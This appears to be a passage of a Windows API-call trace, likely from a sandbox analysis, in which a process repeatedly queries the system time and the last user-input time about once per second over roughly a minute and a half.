	[0630.313] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0631.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xdc704d30, dwHighDateTime=0x1d3d6cf)) 
	[0631.326] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0632.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xdd0b0690, dwHighDateTime=0x1d3d6cf)) 
	[0632.337] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0633.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xdda5bff0, dwHighDateTime=0x1d3d6cf)) 
	[0633.356] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0634.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xde407950, dwHighDateTime=0x1d3d6cf)) 
	[0634.368] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0635.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xdedb32b0, dwHighDateTime=0x1d3d6cf)) 
	[0635.379] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0636.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xdf75ec10, dwHighDateTime=0x1d3d6cf)) 
	[0636.395] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0637.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe010a570, dwHighDateTime=0x1d3d6cf)) 
	[0637.407] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0638.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe0ab5ed0, dwHighDateTime=0x1d3d6cf)) 
	[0638.420] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0639.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe1461830, dwHighDateTime=0x1d3d6cf)) 
	[0639.438] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0640.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe1e0d190, dwHighDateTime=0x1d3d6cf)) 
	[0640.563] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0641.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe27b8af0, dwHighDateTime=0x1d3d6cf)) 
	[0641.572] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0642.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe318a5b0, dwHighDateTime=0x1d3d6cf)) 
	[0642.598] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0643.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe3b35f10, dwHighDateTime=0x1d3d6cf)) 
	[0643.623] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0644.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe45079d0, dwHighDateTime=0x1d3d6cf)) 
	[0644.641] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0645.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe4eb3330, dwHighDateTime=0x1d3d6cf)) 
	[0645.659] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0646.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe585ec90, dwHighDateTime=0x1d3d6cf)) 
	[0646.674] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0647.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe6230750, dwHighDateTime=0x1d3d6cf)) 
	[0647.700] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0648.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe6c02210, dwHighDateTime=0x1d3d6cf)) 
	[0648.733] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0649.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe75adb70, dwHighDateTime=0x1d3d6cf)) 
	[0649.746] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0650.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe7f594d0, dwHighDateTime=0x1d3d6cf)) 
	[0650.761] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0651.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe8904e30, dwHighDateTime=0x1d3d6cf)) 
	[0651.774] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0652.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe92b0790, dwHighDateTime=0x1d3d6cf)) 
	[0652.790] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0653.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe9c5c0f0, dwHighDateTime=0x1d3d6cf)) 
	[0653.804] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0654.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xea607a50, dwHighDateTime=0x1d3d6cf)) 
	[0654.816] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0655.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xeafb33b0, dwHighDateTime=0x1d3d6cf)) 
	[0655.830] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0656.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xeb95ed10, dwHighDateTime=0x1d3d6cf)) 
	[0656.844] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0657.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xec30a670, dwHighDateTime=0x1d3d6cf)) 
	[0657.853] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0658.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xeccb5fd0, dwHighDateTime=0x1d3d6cf)) 
	[0658.872] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0659.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xed661930, dwHighDateTime=0x1d3d6cf)) 
	[0659.888] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0660.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xee0333f0, dwHighDateTime=0x1d3d6cf)) 
	[0660.913] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0661.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xee9ded50, dwHighDateTime=0x1d3d6cf)) 
	[0661.927] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0662.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xef3b0810, dwHighDateTime=0x1d3d6cf)) 
	[0662.957] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0663.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xefd5c170, dwHighDateTime=0x1d3d6cf)) 
	[0663.974] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0664.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf0707ad0, dwHighDateTime=0x1d3d6cf)) 
	[0664.987] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0666.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf10b3430, dwHighDateTime=0x1d3d6cf)) 
	[0666.002] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0667.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf1a5ed90, dwHighDateTime=0x1d3d6cf)) 
	[0667.010] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0668.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf240a6f0, dwHighDateTime=0x1d3d6cf)) 
	[0668.031] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0669.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf2db6050, dwHighDateTime=0x1d3d6cf)) 
	[0669.038] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0670.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf37619b0, dwHighDateTime=0x1d3d6cf)) 
	[0670.061] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0671.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf410d310, dwHighDateTime=0x1d3d6cf)) 
	[0671.066] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0672.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf4ab8c70, dwHighDateTime=0x1d3d6cf)) 
	[0672.087] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0673.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf54645d0, dwHighDateTime=0x1d3d6cf)) 
	[0673.099] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0674.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf5e0ff30, dwHighDateTime=0x1d3d6cf)) 
	[0674.114] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0675.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf67bb890, dwHighDateTime=0x1d3d6cf)) 
	[0675.129] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0676.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf71671f0, dwHighDateTime=0x1d3d6cf)) 
	[0676.143] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0677.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf7b12b50, dwHighDateTime=0x1d3d6cf)) 
	[0677.154] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0678.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf84be4b0, dwHighDateTime=0x1d3d6cf)) 
	[0678.168] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0679.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf8e69e10, dwHighDateTime=0x1d3d6cf)) 
	[0679.184] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0680.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf9815770, dwHighDateTime=0x1d3d6cf)) 
	[0680.198] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0681.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfa1c10d0, dwHighDateTime=0x1d3d6cf)) 
	[0681.213] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0682.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfab6ca30, dwHighDateTime=0x1d3d6cf)) 
	[0682.226] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0683.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfb518390, dwHighDateTime=0x1d3d6cf)) 
	[0683.242] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0684.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfbec3cf0, dwHighDateTime=0x1d3d6cf)) 
	[0684.255] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0685.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfc86f650, dwHighDateTime=0x1d3d6cf)) 
	[0685.268] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0686.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfd21afb0, dwHighDateTime=0x1d3d6cf)) 
	[0686.284] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0687.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfdbc6910, dwHighDateTime=0x1d3d6cf)) 
	[0687.297] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0688.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfe572270, dwHighDateTime=0x1d3d6cf)) 
	[0688.314] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0689.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfef1dbd0, dwHighDateTime=0x1d3d6cf)) 
	[0689.324] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0690.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xff8c9530, dwHighDateTime=0x1d3d6cf)) 
	[0690.340] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0691.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x274e90, dwHighDateTime=0x1d3d6d0)) 
	[0691.354] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0692.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc207f0, dwHighDateTime=0x1d3d6d0)) 
	[0692.366] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0693.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x15cc150, dwHighDateTime=0x1d3d6d0)) 
	[0693.383] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0694.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1f77ab0, dwHighDateTime=0x1d3d6d0)) 
	[0694.396] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0695.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2923410, dwHighDateTime=0x1d3d6d0)) 
	[0695.414] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0696.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x32ced70, dwHighDateTime=0x1d3d6d0)) 
	[0696.423] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0697.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3c7a6d0, dwHighDateTime=0x1d3d6d0)) 
	[0697.439] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0698.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4626030, dwHighDateTime=0x1d3d6d0)) 
	[0698.450] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0699.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4fd1990, dwHighDateTime=0x1d3d6d0)) 
	[0699.463] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0700.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x597d2f0, dwHighDateTime=0x1d3d6d0)) 
	[0700.480] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0701.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6328c50, dwHighDateTime=0x1d3d6d0)) 
	[0701.491] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0702.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6cd45b0, dwHighDateTime=0x1d3d6d0)) 
	[0702.507] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0703.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x767ff10, dwHighDateTime=0x1d3d6d0)) 
	[0703.519] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0704.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x802b870, dwHighDateTime=0x1d3d6d0)) 
	[0704.535] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0705.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x89d71d0, dwHighDateTime=0x1d3d6d0)) 
	[0705.549] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0706.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9382b30, dwHighDateTime=0x1d3d6d0)) 
	[0706.563] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0707.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9d2e490, dwHighDateTime=0x1d3d6d0)) 
	[0707.577] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0708.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa6d9df0, dwHighDateTime=0x1d3d6d0)) 
	[0708.590] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0709.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb085750, dwHighDateTime=0x1d3d6d0)) 
	[0709.605] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0710.620] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xba310b0, dwHighDateTime=0x1d3d6d0)) 
	[0710.620] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0711.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc3dca10, dwHighDateTime=0x1d3d6d0)) 
	[0711.634] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0712.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xcd88370, dwHighDateTime=0x1d3d6d0)) 
	[0712.653] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0713.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd759e30, dwHighDateTime=0x1d3d6d0)) 
	[0713.670] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0714.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe105790, dwHighDateTime=0x1d3d6d0)) 
	[0714.692] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0715.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xeab10f0, dwHighDateTime=0x1d3d6d0)) 
	[0715.707] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0716.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf45ca50, dwHighDateTime=0x1d3d6d0)) 
	[0716.718] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0717.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfe083b0, dwHighDateTime=0x1d3d6d0)) 
	[0717.732] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0718.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x107b3d10, dwHighDateTime=0x1d3d6d0)) 
	[0718.746] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0719.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1115f670, dwHighDateTime=0x1d3d6d0)) 
	[0719.761] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0720.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x11b0afd0, dwHighDateTime=0x1d3d6d0)) 
	[0720.774] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0721.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x124b6930, dwHighDateTime=0x1d3d6d0)) 
	[0721.788] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0722.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x12e62290, dwHighDateTime=0x1d3d6d0)) 
	[0722.801] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0723.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1380dbf0, dwHighDateTime=0x1d3d6d0)) 
	[0723.809] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0724.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x141b9550, dwHighDateTime=0x1d3d6d0)) 
	[0724.831] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0725.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x14b64eb0, dwHighDateTime=0x1d3d6d0)) 
	[0725.847] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0726.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x15510810, dwHighDateTime=0x1d3d6d0)) 
	[0726.858] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0727.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x15ebc170, dwHighDateTime=0x1d3d6d0)) 
